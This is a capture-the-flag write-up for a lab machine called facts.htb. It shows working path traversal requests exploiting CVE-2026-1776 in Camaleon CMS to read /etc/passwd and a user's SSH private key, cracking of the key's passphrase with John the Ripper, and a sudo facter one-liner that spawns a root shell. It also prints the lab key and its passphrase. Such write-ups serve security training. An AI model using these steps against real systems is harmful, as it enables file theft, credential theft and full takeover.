Enumeration

PORT STATE SERVICE VERSION

54321/tcp open http Golang net/http server

  • This is a S3 AWS Bucket, but it is secured and has no default credentials

  • and 80 http, 22 ssh

  • There is a /admin-page, where one can create a user

Exploitation of CVE-2026-1776

If we check the version of Camaleon CMS we find that it is vulnerable to CVE-2026-1776: https://nvd.nist.gov/vuln/detail/CVE-2026-1776

Camaleon CMS versions 2.4.5.0 through 2.9.0, prior to commit f54a77e, contain a path traversal vulnerability in the AWS S3 uploader implementation that allows authenticated users to read arbitrary files from the web server’s filesystem. The issue occurs in the download_private_file functionality when the application is configured to use the CamaleonCmsAwsUploader backend.

  • we are authenticated (user created through /admin-page)
  • we did not find any download functionality, but because the vulnerable function is known (download_private_file), we can try to trigger it through a request to the web server

Proof Of Concept

If the system is vulnerable, we should be able to read arbitrary files from the web server's filesystem. We can try to trigger the vulnerability by sending a request to the download_private_file function: http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../etc/passwd

This request will download the /etc/passwd file from the web server's filesystem:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(...)
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false

Two users are interesting here: william and trivia

Capturing the user flag

Now that we know a username, we can easily capture the user flag:

http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../home/william/user.txt

Server Access via SSH

The exploitation of the CVE is not done yet – and it really shows what is possible with access to arbitrary files. If one thinks about interesting files on a target machine, there should be one file immediately coming to mind: The private SSH key of the user.

So let's get the private SSH key of user william and gain a real foothold on the machine: http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../home/william/.ssh/id_ed25519

We do get a promising result:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABALm8SsuI
RDW5TwAlj74eRQAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHA/HSLbppym5Jwr
dp0gslwZrW7ao9CMGY/yllfLAJ5xAAAAoMZkSRd+OaMlQzhDu+NivyjS0K9CQXptCnJdzk
VlkIxl7B3OLCeq+SbH7yMeHe96bFCuSS4B72OOiLi6cTUZmSIQZKzQEk6wvWIoeo7EDuKD
yb6vUSHV4ip2xeQ+hzct1y8kR+3zlmn8Q6bVjUGi8Ax7g/Nv4YX2p48j3LRcZcnqbKIZbm
JNa0rulaaeku/GLQL7R9md+vQQKrVZ4v27ahk=
-----END OPENSSH PRIVATE KEY-----

But if we try to connect to the machine with this key, it will not work. The private key is encrypted with a passphrase, so we need to decrypt it first.

With rockyou.txt and John The Ripper I have found the password dor the encrypted SSH KEY: dragonballz (took around 8 minutes to crack)

john --wordlist=rockyou.txt trivia.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:50 0.01% (ETA: 2026-06-22 03:19) 0g/s 22.99p/s 22.99c/s 22.99C/s 753951..mississippi
0g 0:00:01:29 0.01% (ETA: 2026-06-22 05:07) 0g/s 22.94p/s 22.94c/s 22.94C/s slimshady..jonathan1
dragonballz     (pc_trivia)  ---- HERE ----   
1g 0:00:02:19 DONE (2026-06-13 08:38) 0.007152g/s 22.88p/s 22.88c/s 22.88C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Privilege Escalation

sudo -l

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

This box is one of the rare cases where I felt like the PrivEsc was easier than the initial access. Always check sudo -l, because here it has really given us the whole path to the PrivEsc. The (unknown) tool facter can be executed as root, and we can write a oneliner ruby script, which will spawn us a root shell.

Technical PrivEsc:

TF=$(mktemp -d) 

echo 'exec("/bin/bash")' > $TF/root_shell.rb

sudo facter --custom-dir=$TF

root@facts:/home/trivia# id
uid=0(root) gid=0(root) groups=0(root)
root@facts:/home/trivia# cat /root/root.txt
80b9...